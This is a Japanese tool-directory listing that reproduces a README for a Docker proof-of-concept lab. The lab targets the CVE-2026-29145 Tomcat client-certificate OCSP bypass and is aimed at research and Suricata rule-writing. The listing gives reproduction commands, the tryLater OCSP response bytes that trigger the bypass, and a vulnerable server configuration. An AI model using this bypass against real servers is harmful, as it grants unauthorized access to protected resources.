Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-29145-Everything — CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP ソフトフェイルバイパス用の再現可能なPoC環境。エクスプロイトスクリプト、モックOCSPレスポンダ、Suricata検出ルールを含む。 | Kitploit
ツール/GitHubGitHub/gkdgkd123/cve-2026-29145-everything
認証と認可脆弱性分析エクスプロイトIDS/IPS回避ウェブアプリケーション悪用ペネトレーションテスト侵入検知学習と教育ラボと実践

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubgkdgkd123/cve-2026-29145-everything

CVE-2026-29145-Everything

CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP ソフトフェイルバイパス用の再現可能なPoC環境。エクスプロイトスクリプト、モックOCSPレスポンダ、Suricata検出ルールを含む。

リポジトリを見る
1152ヶ月前未レビュー

CVE-2026-29145 Everything

Apache Tomcat CLIENT_CERT + OCSP ソフトフェイルバイパス 完全再現環境、エクスプロイトトラフィックパケット、および Suricata 検出ルール作成用素材。

許可されたセキュリティ研究と検出ルールの開発にのみ使用してください。許可されていないシステムには使用しないでください。


脆弱性概要

項目説明
CVECVE-2026-29145
コンポーネントApache Tomcat / Tomcat Native
タイプ認証バイパス(mTLS / CLIENT_CERT)
CVSS9.1(NVD)/ Moderate(Apache)
影響を受けるバージョンTomcat 10.1.0-M7–10.1.52、9.0.83–9.0.115、11.0.0-M1–11.0.18;Native 2.0.0–2.0.13 など
修正バージョンTomcat 10.1.53+ / 9.0.116+ / 11.0.20+;Native 2.0.14+

脆弱性原理

Tomcat で CLIENT_CERT と OCSP を有効にし、ocspSoftFail=false(ハードフェイル) を設定した場合、一部の OCSP 失敗パス(特に応答ステータス tryLater)がハードフェイルとして正しく処理されず、拒否されるべきクライアント証明書が受け入れられ、保護されたリソースにアクセス可能になります。

公式修正(例:Tomcat コミット fe26667c)により、FFM パスでの OCSP TRY_LATER の処理が Tomcat Native と一致するようになりました。

本リポジトリでの実測結論

Tomcat 10.1.52 + Tomcat Native 2.0.12 において:

OCSP 動作ocpSoftFail結果
DER tryLater (30 03 0a 01 03)falseHTTP 200 — バイパス成功
HTTP 500falseTLS 拒否(ハードフェイルが有効)
OCSP タイムアウトfalseTLS 拒否
任意の失敗true200(想定通りのソフトフェイル)

重要なポイント:RFC 6960 の tryLater が返される必要があります。HTTP 500 だけではこの環境でのバイパスは発生しません。


リポジトリ構成

CVE-2026-29145-Everything/
├── README.md                 # 本ファイル
├── REPRODUCTION.md           # 詳細な再現メモと Suricata ヒント
├── docker-compose.yml        # 脆弱な Tomcat + Mock OCSP
├── poc_exploit.py            # エクスプロイト/検出スクリプト(終了コード 10 = 脆弱)
├── simple_proxy_fail.py      # Mock OCSP(fail / succeed / try_later / internal_error)
├── setup_certs.sh            # CA / サーバー / クライアント証明書の生成(OCSP AIA 含む)
├── capture_exploit.sh        # ワンクリックエクスプロイトとパケットキャプチャ
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # CLIENT-CERT ユーザーマッピング
│   ├── ROOT/                 # 公式イメージのデフォルト ROOT 最小パッチ
│   └── protected/            # 保護されたリソース + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ キャプチャ済みエクスプロイトトラフィック(ルール作成用)
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # メインパケット:mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # OCSP 平文のみ
    ├── CVE-2026-29145-mtls-only.pcap       # 8443 TLS のみ
    └── exploit_response.html               # エクスプロイト成功応答のスナップショット

証明書の秘密鍵ディレクトリ certs/ はデフォルトで .gitignore により無視され、ローカルで生成する必要があります。


クイックスタート

依存関係

  • Docker / Docker Compose
  • OpenSSL
  • Python 3.7+(pip install -r requirements.txt またはシステムの python3-requests)
  • tcpdump(オプション、キャプチャ用)

ワンクリック再現

git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. 証明書の生成(AIA は Docker 内 OCSP サービス名を指す)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. 環境の起動(デフォルト OCSP_MODE=try_later)
docker compose up -d
# healthy になるまで待機
docker compose ps

# 3. PoC の実行
python3 poc_exploit.py
# 期待される出力:
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# 終了コード 10 = 脆弱;0 = 悪用不可/修正済み

手動確認:

curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

パケットキャプチャ(トラフィック保存)

./capture_exploit.sh
# 出力先:pcaps/CVE-2026-29145-*.pcap

リポジトリには 既に 成功したエクスプロイトの pcap が添付されており、再キャプチャなしで Suricata ルールの検証に直接使用できます。


OCSP Mock モード

# tryLater — CVE トリガーパス(デフォルト)
OCSP_MODE=try_later docker compose up -d --force-recreate

# HTTP 500 失敗(本環境のハードフェイルでは拒否される)
OCSP_MODE=fail docker compose up -d --force-recreate

# OCSP 成功のシミュレーション(body は実際の DER ではない、接続テスト用)
OCSP_MODE=succeed docker compose up -d --force-recreate

# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate

トラフィック特徴(Suricata 素材)

重要: 8443 は TLS 1.3 暗号化 された mTLS であり、Wireshark で直接開くと乱れたように見えます。 8888 の OCSP は平文 HTTP です。ルールを書く際は OCSP を優先的に見てください。 詳細は pcaps/README.md を参照。

推奨ファイル

ファイル説明
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log復号可能な完全なセッション
pcaps/CVE-2026-29145-ocsp-only.pcap平文 OCSP(鍵不要)
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txtOCSP HTTP 読みやすいテキスト
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt復号後のビジネス HTTP テキスト
rules/cve-2026-29145.rulesSuricata ルール例

OCSP 平文(オンラインで直接マッチ可能)

POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

復号後のビジネス HTTP(sslkeys.log が必要)

GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

Wireshark:Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log

tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

詳細は REPRODUCTION.md と pcaps/README.md を参照。


設定のポイント(脆弱な server.xml)

<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

アプリケーション層の CLIENT-CERT は tomcat/protected/WEB-INF/web.xml を参照。


修正提案

  1. Tomcat を 10.1.53+(または該当ラインの修正バージョン)にアップグレード
  2. 同時に Tomcat Native を 2.0.14+ にアップグレード
  3. ocspSoftFail ポリシーと OCSP 到達可能性を再確認; 到達不能/tryLater 動作の回帰テストを実施

クリーンアップ

./cleanup.sh
# または
docker compose down -v

参考

  • Apache Tomcat 10 Security — CVE-2026-29145
  • NVD CVE-2026-29145
  • RFC 6960 OCSP
  • 上流 PoC スケルトン:CVE-2026-29145-Tester(本リポジトリでは再現可能な設定と tryLater パスに対して強化と完全な記録を実施)

免責事項

本プロジェクトは教育、許可された侵入テスト、および侵入検知ルールの研究開発のみを目的としています。利用者は対象システムに対して合法的な権限を有していることを確認する必要があります。著者は不正使用に対して一切の責任を負いません。

ツールをダウンロード